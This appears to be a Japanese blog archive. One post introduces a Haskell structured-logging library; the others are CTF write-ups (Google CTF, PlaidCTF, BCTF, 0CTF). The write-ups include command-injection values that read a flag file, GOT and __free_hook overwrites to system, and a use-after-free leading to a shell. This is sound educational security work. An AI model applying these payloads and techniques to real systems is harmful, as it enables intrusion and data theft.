json-tracerなるライブラリを作った

はじめに

ある程度大きなプログラムを作ると、いろいろなログを書きだしたくものである。 しかしログというのは文字列ベースなものであり、かつプログラムの構造とは関係なく、一列に並んでしまうものである。 そのため、プログラムの中でどのような計算が行われているかを表すために、一列に並ぶのではなく、木構造を持ったログを出力したくなった。

こういう時に行儀のよいHaskellerならログのデータ構造を定義し始めるのだが、何をログに残すかは開発の途中で頻繁に変わるものであるし、実行のパラメータによって計算の過程は変わったりするものでもあるので、簡単にログの構造を書き換えられるようなものでなければならない。もちろん型安全性を犠牲にすることはゆるされない。

今回作ったjson-tracerというライブラリはそのような木構造ログを可能にするものである。 このライブラリではログは型つきのjsonデータとして計算される。

json-tracer: A polymorphic, type-safe, json-structured tracing library

このライブラリでは2つのモジュールを提供している

  • Data.PolyDict: 型安全かつ多相な辞書オブジェクト
  • Control.Monad.Trace: 文脈に応じたログを可能とするモナド

PolyDict

このライブラリではログはJSONと互換性のあるDict nという型に保存する。 ライブラリのユーザはまずフィールドの名前空間を表す型を定義する。

data Main

そして、Dict nの各フィールドがどのような型を持つかをAssoc n kのルールを追加することで記述する。

type instance Assoc Main "elapsed_time" = NominalDiffTime
type instance Assoc Main "tag" = String

こうすると、Dict Mainにおいて、フィールド"elapsed_time"に束縛できる値の型はNominalDiffTimeであり、フィールド"tag"に束縛できる値はString型となる。

type familyの定義はopenなので、一つのモジュールに全てのフィールド定義を書く必要はない。また嬉しいことに、同じフィールドを複数箇所で定義してしまった場合はコンパイラがエラーとして報告してくれる。

Assok n kのルールの右辺に書く型はDictValueの制約を満たさなければならない。

type family DictValue v :: Constraint where
    DictValue v = (Eq v, Show v, ToJSON v)

ToJSON vを満たす型ならば大抵DictValue vの制約も満たせるのでJSONに書ける型なら右辺に書くことができる。

Dict nのフィールドにはlookup, insertを用いてアクセスすることができる。

lookup :: (KnownSymbol k, DictValue v, Assoc n k ~ v) => Key k -> Dict n -> Maybe v
insert :: (KnownSymbol k, DictValue v, Assoc n k ~ v) => Key k -> v -> Dict n -> Dict n

Key kはフィールドを表す型レベルシンボルのProxyとなっている。OverloadedLabels拡張を用いて#foo"foo"のフィールドにアクセスできる。

ghci> let v = insert #tag "sample" empty 
ghci> v
{"tag": "sample"}
ghci> lookup #tag v
Just "sample"
ghci> lookup #elapsed_time v
Nothing

lookup #tagの型はMaybe Stringだがlookup #elapsed_timeの型はMaybe NominalDiffTimeとなるわけだ。型レベルシンボルはまるで魔法のようである。

あるいはLensを用いたアクセスも可能である。

access  :: forall n k v. (KnownSymbol k, DictValue v, Assoc n k ~ v) => Key k -> Lens' (Dict n) (Maybe v)
access' :: forall n k v. (KnownSymbol k, DictValue v, Assoc n k ~ v) => Key k -> v -> Lens' (Dict n) v

ghci> let v = empty & access #tag ?~ "sample"
ghci> v
{"tag": "sample"}
ghci> v ^. access #tag
Just "sample"

Tracer Monad

TracerT c m aというモナドトランスフォーマが木構造のログを可能にする。 このモナドではupdatezoomという二つのアクションが実行できる。

updateは文脈の値を更新するアクションだ。

update :: Monad m => (c -> c) -> TracerT c m ()

例えば、ある関数fの呼び出し回数を記録したい場合 update succ :: TracerT Int m ()fの呼び出し時に実行すれば良い。

zoomはログの文脈を変えるアクションだ

zoom :: ASetter' c c' -> TracerT c' m a -> TracerT c m a

これはc'のログを操作するプログラムを受け取り、cのログを操作するプログラムに変換する。 これだけだとよくわからないと思うので次の例を見て欲しい。

{-# LANGUAGE TypeFamilies, DataKinds, OverloadedLabels #-}
import Data.PolyDict
import Control.Monad.CTrace
import Lens.Micro
import Control.Monad

data Main
data Sub

type instance Assoc Main "sub" = Dict Sub
type instance Assoc Sub  "count" = Int

subFunc :: Monad m => Int -> TracerT (Dict Sub) m ()
subFunc n = replicateM_ n (update (access' #count 0 %~ succ))

mainFunc :: Monad m => TracerT (Dict Main) m ()
mainFunc = zoom (access' #sub empty) (subFunc 42)

main :: IO ()
main = do
    (_,d) <- ioTracerT empty mainFunc
    print d

このプログラムではsubFuncDict Subにログを保存する計算を行い、mainFuncDict Mainにログを保存する計算を行う。mainFuncからはsubFuncを呼び出すわけであるが、そのままでは保存するログが異なるのでうまく呼び出せない。

そのために登場するのがzoomである。zoom関数はsubFuncのログをDict Mainのどこに保存すればいいかを指定している。この例では、"sub"フィールドに保存するように指定している。このようにして文脈の違いに対応することで木構造のログを生成することが可能になる。

このプログラムを実行すると

{"sub": {"count": 42}}

と表示される。mainFuncからsubFuncが呼び出されたことをログの中に表現できている。

Google CTF 2017 Writeup

今回は一人で参加してました。
解いた問題

CRC

crc_82_darc(data) == int(data,2)

を満たすdataを作る問題。
crc_82_darcは入力データをビット列であらわしたものを\(b_{n-1} \dots b_{0}\)として(リトルエンディアン)
\( f(X) = \sum^{n-1}_{i=0} b_i X^i \)
を82次のある多項式P(X)で割った多項式の係数をハッシュ値とするハッシュ関数である。
今、入力のデータは'0'(=0x30)か'1'=(0x31)からなる文字列であるので、実際には\(c_i\)を入力の\(i\)文字目が'0'のとき0、'1'のとき1となるようにすると、
\( f(X) = \sum^{81}_{i=0} (c_i X^7 + X^3 + X^2) X^{8(81 - i)} \)
となる。
満たすべき値は
\( f(X) \mod P(X) = \sum_{i=0}^{81} c_{81-i} X^i \)
であり、各係数を比べるとc_iを変数とするGF(2)上の連立線形一次方程式となる。
なので解ける。

gpでの計算例
gist5b6f91c0783cbaf119d86b510fa01c22
フラグを保存するの忘れた。

Inst_prof

バイナリはNX, PIEだがPartial RELROなのでGOT overrideを目指す。
このプログラムは以下の処理を繰り返し行う。

  1. pageをmmapする(Read| Write)
  2. pageにテンプレートを書き込む
  3. 入力から4byte読んでpage + 0x5に書き込む
  4. pageをmprotectする(Read|Exec)
  5. r12にrdtscの結果を置く
  6. pageの先頭に関数呼び出しする。
  7. rdxにrdtscの結果を置く
  8. rdx - r12の値を出力する。
  9. pageをmunmapする。

任意の4byteを送るとその4byteをmmapしたページに配置して0x1000回実行してくれる。そのあとその実行にかかった時間を出力してる。
r12を0してみると現在のCPU時間の値がわかる。そのあとr12を適当な値にするとrdxの上位ビットはそれほど変わらないので、r12の上位ビットをleakできる。
レジスタの値をleakできたので次はlibcを特定するために__libc_start_main@got.pltとmunmap@got.pltを読みに行く。
今、rspの指すアドレスには関数呼び出しの戻り番地、すなわち.textセクションのアドレスが入っているので、そこからの相対値でmunmap@got.plt等にたどり着くようにする。
ただ、同じ命令を0x1000回繰り返すので例えばadd r12, 0x3などの命令は上手くいかない。
なのでrsp - 0x1000あたりのメモリを一時的なデータの退避場所として計算を進めた。

libcを特定したあとはGOT overrideでmunmapをsystemに書き換える。
そのままだとGOT overrideの直後にsystem(page)となって結局pageの先頭が不正な文字列となり何も起こらないが、プログラムはセグフォを起こさず次のループに進めるので次のような手順でshellを起動した。

  • r13 に*rsp + 0x1000を書き込む
  • r13 + 0x8に"sh\0"を書き込む
  • GOT overrideでmunmapをsystemに書き換える
  • mov rbx, r13 + 0x8

exploit
gist9ec3329544e2d45f02eb632b462ea44f

crypto_backdoor

本番中に解法はわかっていたが、寝落ちして解けなかった問題。
起きて作業したら十分くらいで終わって悔しかった。

DH法で秘密鍵を共有するプログラムがあたえられる。共有した秘密鍵を計算できればフラグが得られる。
ただし使用する群はよくわからない群でパッと見楕円曲線っぽくもあるが実は違った。
群の要素は\((Z_n/p)^2\)で\(p\)はそこそこ大きいが実は素因数分解できて素因数は\(10^9\)くらい。
群の演算は\((x_1, x_2)\)と\((y_1, y_2)\)に対して
\(x_3 = \frac{ x_1 x_2 - x_1 y_2 - x_2 y_1 + 2 y_1 y_2 }{ x_1 + x_2 - y_1 - y_2 - 1} \)
\(y_3 = \frac{ y_1 y_2 }{ x_1 + x_2 - y_1 - y_2 - 1 }\)
この式を変形すると
\( \frac{x_3}{y_3} - 1 = (\frac{x_1}{y_1} - 1) (\frac{x_2}{y_2} - 1) \)
となる。つまりこの群に対して離散対数問題、すなわち\(G = (x_g, y_g), X = (x,y)\)を入力として\(G^r = X\)となるrを求めるには
\((\frac{x_g}{y_g} - 1)^r = \frac{x}{y} - 1\)が成り立つので\(Z_n/p\)上の離散対数を計算してやればいいことになる。


gist836785ae9283d2abfa02fbe51a832c0e

$ gp -q doit.gp < /dev/null
6621005115841589341021728146593578127178145692816888878
3717310807101673722781843653766732925831732205102857032

gist34dd40234e8ae6fe263964a2f6c4f710

$ python crypto_backdoor.py 
length = 31, encrypted_message = 221625116140542176473033670030978737257674515917829815328018959235996341315
CTF{Anyone-can-make-bad-crypto}

PlaidCTF writeup

negainoidoというチーム名で2人で参加してました。
順位は912ptsで53位でした。チームで解いた問題は以下のとおりです。

  • sanity check (Misc 1)
  • echo (Web 200)
  • zipper (Misc 50)
  • logarithms are hard (Misc 10)
  • no_mo_flo (Rev 125)
  • pykemon (Web 151)
  • multicast(Crypto 175)
  • bigpicture(Pwnable 200)

私はlogarithms are hardとpykemon以外の問題を解きました。

Echo

ツイートを送ると、それらのツイートを読み上げた音声ファイルが生成されるウェブサービスをHackする問題。
ウェブサーバのソースは与えられるのでありがたかった。
詳細な仕様は以下のとおり
Location /

  • GETパラメータにtweet1...tweet4が入っているとその内容を改行でconcatして/tmp/{uuid}/inputに書き込む。
  • ついでにflagも伸長されて/tmp/{uuid}/inputにおいてくれる。
  • つぎに、dockerコマンドで/tmp/uuid/を/share/にマップしてpython run.pyを呼び出す。run.pyの中身はわからなかったが、実はdockerコンテナをホストするサイトを調べれば見つかったらしい。
  • その後、ffmpegを使って上のdockerコマンドによって生成した音声ファイルを/audio/{uuid}/1.wavなどに移す

exploit

与えられたウェブサーバのソース自体にはそれほど致命的な脆弱性は存在しなかったので、run.pyの中に脆弱性があるのだろうと推測した。run.pyに渡すことができるのはツイートの中身だけなので、そこに集中して色々実験したところ、OSコマンドインジェクションができることがわかった。
具体的には

tweet1=`ls`

などとするとウェブサーバのls結果を読み上げてくれた。楽しい!
フラグはdockerコマンド内からは/share/flagにあるので、アクセスはできるのだが、伸長されているためそのまま`cat /share/flag`としても長すぎて弾かれてしまう。
もとの文字列に戻すスクリプトを書かなければならないがシェル芸で行うには少々酷だったのでもうちょっと高機能な処理系を使うことにした。dockerコマンドでpythonを読んでいるのでpythonはdocker内にも存在しているはず。

tweet1=#`python /share/input`
tweet2=print('hoge')

こうすると"ハッシュ、ホージ"と言ってくれた。正しく動いているようだ。
フラグの各バイトを整数に変換して読み上げてもらった。

tweet1=#`python /share/input`
tweet2 = data = open('/share/flag','rb').read()
tweet3 = print(' '.join(map(lambda x: str(ord(x)),(reduce(lambda x,y: chr(ord(x)^ord(y)), data[65000*i:65000*(i+1)]) for i in range(0,38)))))

これでフラグを読み上げてくれる。

ここからがこの問題の一番難しいところだった。フラグの途中までの音声ファイルが残っていたので聞いてみてほしい。
soundcloud.com
聞き取れるだろうか、
私には無理だった。再生速度を遅くしたら幾つかは聞き取れるが、すぐにどこまで聞いたかわからなくなってしまう。
音声ファイルを空白で区切ってくれるツールを探してもよかったのだけれど、それはそれで面倒だったので、フラグを全部読み上げてもらうのでなく、数バイト読むスクリプトを何回もあげてちょっとずつ聞き取りをした。
flag: PCTF{Li5st3n_T0__reee_reeeeee_reee_la}*1

Zipper

zipファイルがもらえるのだけれど、そのまま展開しようとしてもエラーで上手くいかない。zipファイルの仕様を調べつつどこがおかしいのか調べた。
ZIP書庫ファイル フォーマット - 略して仮。
解析したところファイル名が入るべきところがヌルバイトになっていて、かつ、ファイル名の長さを表す変数が実際より大きい値担っていた。バイナリエディタで適切な値に直してみると展開に成功し、フラグが得られた。
flag: PCTF{f0rens1cs_yay}

no_mo_flo

バイナリファイルを解析して正しい入力を見つける問題。
radare2で大まかに解析すると以下のことがわかった。

  • 入力は32バイト
  • 入力の奇数番目のデータと偶数番目のデータをそれぞれint型の配列data1, data2に移す。
  • func1(data1) != 0 && func2(data2) != 0となれば正解

func1とfunc2の挙動を解析すればよいということがわかった。なのでそれぞれの挙動を解析した。

func1

func1の方は比較的簡単で、レジスタジャンプなどを用いてはいるが、原則的に一本道で、data1の特定の要素を読み、
それに何かしらの演算をしてから定数値と比較するコードであったので、分岐条件を一つずつ調べることで解析ができた。

func2

一方func2はややこしく、data2の特定の要素を読んで演算を行い比較するところまでは読めるのだが、その比較の結果をどう利用しているのかが複雑でよくわからなかった。
具体的には比較した後r11に分岐条件を表すと思われる定数値(1~6)を入れてその後0除算を行う。そうするとあらかじめ登録しておいたSIGFPEのシグナルハンドラが呼び出され、そこで分岐先が決定されていた。
r11の値が5の時はおそらく定数との比較で一致すれば成功だろうと推測できたが、r11が1の時の挙動はイマイチよくわからなかった。
幸いにも確定できない文字数は数文字程度だったので正しい文字列を探索することにした。各入力についてgdbでesiに格納されている成功フラグが折れる可能性のある場所全てにbreakpointを張って実行しどの地点で失敗したのかがわかるようにすると1文字だけ他の文字と挙動がことなるものがあったのでそれが正しいのだろうと推測した。
その途中でわかったが、r11が1の時は比較した定数値-1であれば正解だったようだ。
flag: PCTF{n0_fl0?_m0_like_ah_h3ll_n0}*2

multicast

RSAを破る問題。次のような暗号設定である

  • Parameters: \(a_i, b_i, n_i\) (1024 bits) (for \(i \in \{1\dots5\}\))
  • Constraints:
    • \(n_i = p q\) for some prime \(p, q\)
    • \(a_i\) and \(n_i\) are coprime
  • Plain: \(M\) ( 512 bits )
  • Encrypt: \(c_i = (a_i M + b_i)^5 \bmod n_i\)

与えられるのは\(a_i,b_i, c_i, n_i\)である、public exponentが5と小さいく5つ暗号結果がある。仮に\(c_i = M^5 \bmod n_i\)であったとすると、中国人剰余定理を用いて\(M^5 \bmod N\) (ここで\(N = n_1 * n_2 * \dots * n_5\))が計算できてあとは整数上での5乗根を取れば終わりなのだが、実際には\(c_i = (a_i * M + b_i)^5 \bmod n_i\)となっているのでそう簡単にはいかない。

結局アイディアが浮かばなかったので1日寝かせた。
日曜日にもう一度考えるとcoppersmith's attackというものが使うのではないかと予想し、
Coppersmith's attack - Wikipedia
なんとかして\(M\)を解に持つ、\(N = n_1 * \dots * n_5\)上の多項式を求めるという方向性で攻めることにした。

話を簡単にするために次数が2で2本の方程式がある場合を考えよう。
いま、n,mを互いに素な整数とし2次の2本の多項式
\begin{align}
f(X) &= a X^2 + b X + c \bmod n \\
g(X) &= d X^2 + e X + f \bmod m
\end{align}
があるとする。拡張ユークリッドの互除法により\(u n + v m = 1\)となる\(u,v\)を得る。
ここで\(h(X) = v m f(X) + u n g(X) \bmod n m\)を考える。

  • \(\pmod n\)で考えると\(h(X) = v m f(X) + u n g(X) = 1 f(X) + 0 g(X) = f(X)\)
  • \(\pmod m\)で考えると\(h(X) = v m f(X) + u n g(X) = 0 f(X) + 1 g(X) = g(X)\)

となる。\(f(X) = 0 \bmod n)\)と\(g(X) = 0 \bmod m)\)が共通解 \(Z\)を持ったとすると、
\(h(Z) = 0 \bmod n, h(Z) = 0 \bmod m\)となるので\(h(Z) = 0 \bmod {n m}\)である。すなわち、\(Z\)は\(h(X) = 0 \bmod {n m}\)の解となっている。

これを五次の場合に拡張すれば\(N = n_1 * \dots * n_5\)上の多項式で平文Mを解に持つものが得られる。そうするとcoppersmithの攻撃の適用範囲になるので解が出てくる。

parigpで多項式の計算と解の計算を行った。

gist9f1e859748b04e9fe5dd5b36561cbc05

$ gp -q doit.gp 
[48256277589562736290346738984160936248669152041168006480231762961805279486041361025591223549819869423406508417405]
$ python3
>>> from Crypto.Util import number
>>> number.long_to_bytes(48256277589562736290346738984160936248669152041168006480231762961805279486041361025591223549819869423406508417405)
b'PCTF{L1ne4r_P4dd1ng_w0nt_s4ve_Y0u_fr0m_H4s7ad!}'

bigpicture

ありがたいことにCのソースコードがあたえられる。
大きなキャンバスがあたえられてその任意の場所に文字を書き込めるというプログラム
redditの今年のapril fool企画を思い出した。
When Pixels Collide

プログラムの挙動をまとめると以下のとおり

  • 最初にキャンバスのサイズW, Hをユーザが入力する
  • buf = calloc(W, H)とする
  • そこから任意の回数scanf("%d , %d , %c", x, y, c)してptr = &buf[x * H + y]とする。
    • もし*ptrがnullでないならその文字を出力する
    • そうでないならば*ptrにcを書き込む
  • ユーザがquitと入力すると最後にbufを描画し、free(buf)を呼ぶ。

scanf("%d, %d, %c", x, y, c)した値はx < Wかつy < Hでなければならないが負の値は弾かないので、実質的に任意のアドレスを読むことができる。
バイナリはPIEかつFULL RELROなのでアドレスをleakするところから攻めなくてはならない。gdbでheapのbuf周辺に何か書いてないかと調べたが何も書いてなかった。

いろいろ試していると、大きいサイズのキャンバスを作ったときにはheapではなくてmmap領域にアロケートされることがわかった。同じくmmap領域にはlibcも配置されているので、bufからlibcへの相対アドレスは常に一定となる。
1000 x 1000のキャンバスを用意し、gdbでbufがどこにアロケートされるか調べ、libcとの相対位置を調べてそのアドレス付近にクエリを投げると、libcのデータを読むことができた。したがってlibcの任意のアドレスに相対アドレスで書き込めることがわかった。
今回ripを奪うために__free_hookのアドレスにsystemのアドレスを書き込むことにした。(最近writeupを読んだEasiestPrintfと言う問題でも似たような手法が使われていたので覚えていた)そうすると、プログラム終了時にfree(buf) -> system(buf)と呼ばれてシェルを立ち上げることができる。そのためにはsystem関数の絶対アドレスをleakする必要がある。libcどこかにlibcの配置アドレスが書いてあるはずなので適当なアドレスを探したところ_IO_2_1_stderr_+0x8あたりに書いてあるのを見つけたのでそのアドレスを使うことにした。

ところが、exploitを作ったところローカルでの実行ではうまくいくのだが、remoteだと_IO_2_1_stderr+0x8を読むはずのところで別の部分のデータが帰ってきてうまくいかなかった。どうも手元の環境とリモートの環境で配置される順番か位置が異なっているようだった。向こうの環境でどう配置されるかは簡単にはわからないので、リモートでlibcがあると思われる付近のデータを読んできて、そのバイト列がlibcのバイナリのどこにあるかを調べることでlibcの配置位置を特定した。

exploit

最終的なexploitは以下のとおり。

gist84eb1d6b403e488dd2fc54318042979a
flag: PCTF{draw_me_like_one_of_your_pwn200s}

所感

各カテゴリ一問は解けたので結構満足している。他のcrypto問は時間がなくてあまり手をつけられなかったので復習したい。logarithms are hardはググり力が低くて自分では解けなかったのが悔しい。

*1:listenのスペルがちょっと違う気がするのは気のせいだろうか。

*2:実は未確定の文字を'?'として処理していたのだが、実際にフラグに'?'の文字が入っていたのでちょっと苦労した。

BCTF2017 writeup: babyuse

今週末はBCTFに参加してました。一人で参加してpwn一問だけ解けたので記録しておきます。

問題概要

配布されたzipファイルにはバイナリbabyuseとlibc.soがもらえます。

$ unzip -l e1b84982-14dc-45f3-a41b-fb80b4805bd1.zip 
Archive:  e1b84982-14dc-45f3-a41b-fb80b4805bd1.zip
  Length     Date   Time    Name
 --------    ----   ----    ----
        0  04-10-17 13:37   babyuse/
    13712  04-10-17 13:32   babyuse/babyuse
  1786484  04-10-17 13:34   babyuse/libc.so
 --------                   -------
  1800196                   3 files

バイナリを実行すると、AAのロゴ(Passion leads Amy?)が表示され、銃を買ったり売ったりできるみたいです。

$ ./babyuse 
 _                                         
|_)_. _ _o _ ._  |  _  _. _| _  /\ ._ _    
| (_|_>_>|(_)| | |_(/_(_|(_|_> /--\| | |\/ 
                                        /  

Menu:
1. Buy a Gun
2. Select a Gun
3. List Guns
4. Rename a Gun
5. Use a Gun
6. Drop a Gun
7. Exit

解析

まず基本的な情報から確認します。バイナリは32-bit ELFでFull RELRO, Canary, NX, PIE全マシです。すごく厳しいです。

$ file babyuse/babyuse
babyuse/babyuse: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped
$ checksec.sh/checksec -f ./babyuse 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   Yes     0               2       ./babyuse


PIEのバイナリはいままで読んだことなかったので解析に色々と苦労しました。
(callとかのアドレスはロード時に書き換えられるとか、ebxがgotセクションへのポインタになっているとか、初めて知りました。)

参考になったページ

Technovelty - PLT and GOT - the key to code sharing and dynamic libraries
ELF実行ファイルのメモリ配置はどのように決まるのか - ももいろテクノロジー

radare2を使って雰囲気でデコンパイルします。(ついでにalarmの時間を延ばすようバイナリを変更しました。)

ポイントは

  • 次のグローバル変数が存在する。
    • booleanの配列guns
    • gunの構造体のポインタを持っておくgun_data,
    • 現在選択した銃のインデックスselected_gun
  • いくつかのアクションが実行できる
    • Buy(type, n, str) : for( i = 0, i <= 3 && guns[i], i++ ); guns[i] := true; gun_data[i] = new Gun(type); gun_data[i]->name = new String(str)
    • Select(i): selected_gun := i (if guns[i] == true)
    • List(): show the list of current guns
    • Rename(i, str): if( guns[i] ) { gun_data[i]->name = new String(str); free(old_str); }
    • Use(): printf("...%s...", gun_data[selected_gun]->name)...
    • Drop(i): if(guns[i]) { free(gun_data[i]->name); free(gun_data[i]) }
  • gun構造体はmallocによってheapに置かれること。

です。入出力等でバッファオーバーランなどの脆弱性は見つかりませんでした。


gist537e607ab1fb1c8e0ad745b85f662487

脆弱性

とりあえず、セグフォらせる入力を探します。銃を持っていない状態で5. Use a Gunを選択したらどうなるでしょうか。

$ ./babyuse 
 _                                         
|_)_. _ _o _ ._  |  _  _. _| _  /\ ._ _    
| (_|_>_>|(_)| | |_(/_(_|(_|_> /--\| | |\/ 
                                        /  

Menu:
1. Buy a Gun
2. Select a Gun
3. List Guns
4. Rename a Gun
5. Use a Gun
6. Drop a Gun
7. Exit
5                                       
Segmentation fault (core dumped)

セグフォりました。Use a gunのコードを見てみます。

use_a_gun() {
	struct gun *gun = gun_data[selected_gun];
	printf("Select gun %s", gun->name);
	puts("1. Shoot");
	puts("2. Reload");
	puts("3. Info");
	puts("4. Main menu");
	char buf[0x20];
	while(true){
		read_until(stdin, buf, 0x20, '\n');
		int n = atoi(buf); 
		switch(n) {
			case 1:
				gun->vtable->op_shoot(gun);
				break;
			case 2:
				gun->vtable->op_reload(gun);
				break;
			case 3:
				gun->vtable->op_info(gun);
				break;
			case 4:
				return;
			default:
				puts("Wrong input");
		}
	}
}

gun_data[selected_gun]の初期値はNULLですからprintf("Select gun %s", gun->name);のところでセグフォったのだと推測できます。
本来ならばguns[selected_gun]がtrueであることを確かめなければならないはずです。
また、選択した銃を捨てた場合、その銃の構造体の領域はfreeされますが、gun_data[selected_gun]はそのままなのでfreeされた領域が参照できることがわかります。
gun->nameもmallocで管理された領域なので、文字列がfreeされた後にgun構造体として再利用されれば、その構造体のデータをleakできそうと言うことがわかります。

exploit

heapのアドレスleak

色々実験した結果、次のような入力でheapのアドレスがleakできることがわかりました。

$ cat exploit_1.txt
1
1
30
hogeeeeeeeeeeeeeeeee
1
1
15
01234
2
1
6
0
6
1
5
4
$ ./babyuse < exploit_1.txt | grep -a 'Select gun' | hexdump -C
00000000  53 65 6c 65 63 74 20 67  75 6e 20 08 3a 01 57 34  |Select gun .:.W4|
00000010  0a                                                |.|

トルエンディアンなので0x57013a08がheap上のアドレスです。
どうしてこの入力でleakできるのかはコンテスト時はわからなかったのですが、libcのfreeの実装を調べたところ、
freeされた領域にはlinked listになっていて、一つ前にfreeされた領域へのポインタが書き込まれるためのようです。
malloc(3)のメモリ管理構造 | VA Linux Systems Japan株式会社

executableアドレスのleak

今回のバイナリはPIEなので実行時にバイナリがどこに配置されているかがわかりません。なのでアドレスをleakさせます。
New(0,"hoge") -> New(0,"hoge") -> Select(1) -> Drop(1) -> Rename(0,data) とすると、Dropした銃の構造体があったheap領域に任意のdataを書き込むことが出来ます。
その領域に対してUse()を実行すると、gun_data[selected_gun]->nameが表示出来ます。
今、heapのアドレスはすでにleakされたので一番最初のNew()で作られたgun構造体のアドレスAが計算できます。
そこで、struct gun { vtable = DUMMY, name = A, ... }のようなデータを書き込むと、validなgun構造体のデータを表示させることができます。
したがって、t.vtableのアドレスとして実行バイナリのアドレスがleakできます。

f:id:autotaker:20170417182118p:plain

libcアドレスのleak

libcのアドレスは実行バイナリの.plt.gotセクションにあるはずなので適当なアドレスを上と同じ方法でleakさせます。
つまりstruct gun { vtable = DUMMY, name = free@plt, ... }とします。

f:id:autotaker:20170417182349p:plain

shellの起動

最後にshellを起動させます。Use()の後でShootを選択すると、gun_data[selected_gun]->vtable->op_shoot(gun_data[selected_gun])が実行できることを用います。
まず、{ op_shoot = system@libc, op_reload = ANY, op_info = ANY }となるデータをheap上に配置します。そのアドレスをAとします。
つぎに、{ vtable = A, name = A, max_bullets = "||sh", bullets = 0x0}となるデータをgun_data[selected_gun]のアドレスに再利用させます。
nameをAとしているのは、セグフォを防ぐためです。
するとsystem(&{ vtable = A, name = A, max_bullets = "||sh", bullets = 0x0})が実行できます。つまりsystem("~~~~||sh")のようなことになります。||の前の部分は不正な文字列ですが、コマンド名が見つからないだけなので特に困りません。
f:id:autotaker:20170417185604p:plain

exploit


gistbbc00350a0919027da07c8846de3515c

$ python3 exploit.py
....
RECV: b'/\n'
RECV: b'babyuse\n'
RECV: b'bin\n'
RECV: b'dev\n'
RECV: b'flag\n'
RECV: b'lib\n'
RECV: b'lib32\n'
RECV: b'lib64\n'
RECV: b'wrapper\n'
RECV: b'bctf{ec1c977319050b85e3a9b50d177a7746}\n'

0CTF Writeup: oneTimePad2

Japanese Version

Task

oneTimePad1と同じように暗号化スクリプトoneTimePad2.pyとciphertxtが入ったzipファイルがもらえる。
今度は\(GF(2^{128})\)のブロック暗号システムのようだ。

\begin{align}
C_i &= M_i + R_i \\
\begin{bmatrix}
R_{i+1} \\
1
\end{bmatrix} &=
\begin{bmatrix}
A & B\\
0 & 1\\
\end{bmatrix}^{N_i}
\begin{bmatrix}
R_{i} \\
1
\end{bmatrix} \\
N_{i+1} &= N_i^2\\
\end{align}
\(C_1 \dots, C_5 , M_1, \dots, M_4, A, B \)が既知である。\(M_5\)にフラグがあるようだ。
秘密鍵は\(N_1\)なのでこれを解読したい。

解析

まず、行列の累乗を計算する。
\begin{align}
\begin{bmatrix}
A & B\\
0 & 1\\
\end{bmatrix}^{n} &=
\begin{bmatrix}
A^n & A^{n-1} B + A^{n-2} B + \dots + B \\
0 & 1
\end{bmatrix} \\
&=
\begin{bmatrix}
A^n & \frac{(A^{n} - 1)B}{A - 1}\\
0 & 1
\end{bmatrix}
\end{align}
したがって
\[
R_{2} = A^{N_1} R_{1} + \frac{(A^{N_1} - 1)B}{A - 1}
\]
これを\(A^{N_1}\)について解くと
\[
A^{N_1} = (R_2 + B (A - 1)^{-1})(R_1 + B(A-1)^{-1})^{-1}
\]
よって\(A^{N_1}\)の値は計算できる。
\(N_1\)を計算するのは離散対数問題といって一般の体では計算するのは難しいが、少なくとも\(GF(2^{128})\)なら離散対数は現実的な時間で計算できるようだ。

解法

pari/gpで離散対数を計算する処理までを行った。

gistc2a4481d5f18d35e913503664320a016

$ gp -q doit.gp  
x^123 + x^117 + x^116 + x^114 + x^113 + x^112 + x^110 + x^109 + x^108 + x^107 + x^104 + x^99 + x^98 + x^97 + x^95 + x^93 + x^91 + x^89 + x^87 + x^84 + x^83 + x^82 + x^81 + x^80 + x^78 + x^74 + x^69 + x^68 + x^66 + x^62 + x^57 + x^53 + x^52 + x^51 + x^45 + x^43 + x^42 + x^41 + x^38 + x^37 + x^35 + x^33 + x^32 + x^31 + x^30 + x^29 + x^28 + x^25 + x^22 + x^19 + x^18 + x^17 + x^15 + x^14 + x^13 + x^12 + x^10 + x^8 + x^5 + x^2 + 1
76716889654539547639031458229653027958

10秒くらい待つと離散対数が計算できたので元のプログラムを改変して復号した。

gistedf58b1bf3484af727d98a7ebda023ff

$ python exploit.py
['\r\xa8\xe9\xe8J\x99\xd2M\x0fx\x8cqn\xf9\xe9\x9c', '\xc4G\xc3\xcf\x12\xc7\x16 m\xee\x92\xb9\xceY\x1d\xc0', 'r-BF)\x18b\x11 \xec\xe6\x8a\xc6NI:', 'A\xea:p\xdd\x7f\xe2\xb1\xd1\x16\xacH\xf0\x8d\xbf+', '&\xbdc\x83O\xa5\xb4\xcbu\xe3\xc6\rIg`\x92', '\x1b\x91\xdf^^c\x1e\x8e\x9eP\xc9\xd8\x03P$\x9c']
['One-Time Pad is ', 'used here. You w', "on't know that t", 'he flag is flag{']
One-Time Pad is used here. You won't know that the flag is flag{LCG1sN3ver5aFe!!}.��Y���+�]j�
 

flag文字列が自分の解法とあまり一致していない気がするので離散対数をもとめずとも計算できるのかもしれない。

English Version

Task

In the provided zip file, there are an encryption script 'oneTimePad2.py' and 'ciphertext'.
In this time, the crypt system is built on \(GF(2^{128})\)

\begin{align}
C_i &= M_i + R_i \\
\begin{bmatrix}
R_{i+1} \\
1
\end{bmatrix} &=
\begin{bmatrix}
A & B\\
0 & 1\\
\end{bmatrix}^{N_i}
\begin{bmatrix}
R_{i} \\
1
\end{bmatrix} \\
N_{i+1} &= N_i^2\\
\end{align}
We know \(C_1 \dots, C_5, M_1, \dots, M_4, A, B \).
The flag must be in \(M_5\).
We want to detect the value of \(N_1\) in order to break this system.

Analysis

First, let's compute the matrix power.
\begin{align}
\begin{bmatrix}
A & B\\
0 & 1\\
\end{bmatrix}^{n} &=
\begin{bmatrix}
A^n & A^{n-1} B + A^{n-2} B + \dots + B \\
0 & 1
\end{bmatrix} \\
&=
\begin{bmatrix}
A^n & \frac{(A^{n} - 1)B}{A - 1}\\
0 & 1
\end{bmatrix}
\end{align}
Therefore,
\[
R_{2} = A^{N_1} R_{1} + \frac{(A^{N_1} - 1)B}{A - 1}
\]
By solving this equation for \(A^{N_1}\),
\[
A^{N_1} = (R_2 + B (A - 1)^{-1})(R_1 + B(A-1)^{-1})^{-1}
\]
Then, we can conpute the value of \(A^{N_1}\).
Task to compute the value of \(N_1\) from \(A^{N_1}\) is called 'discrete logarithm problem', which is known to be difficult for general fields.
Fortunately, in this field \(GF(2^{128})\), the discrete logarithm is computable in a reasonable time.

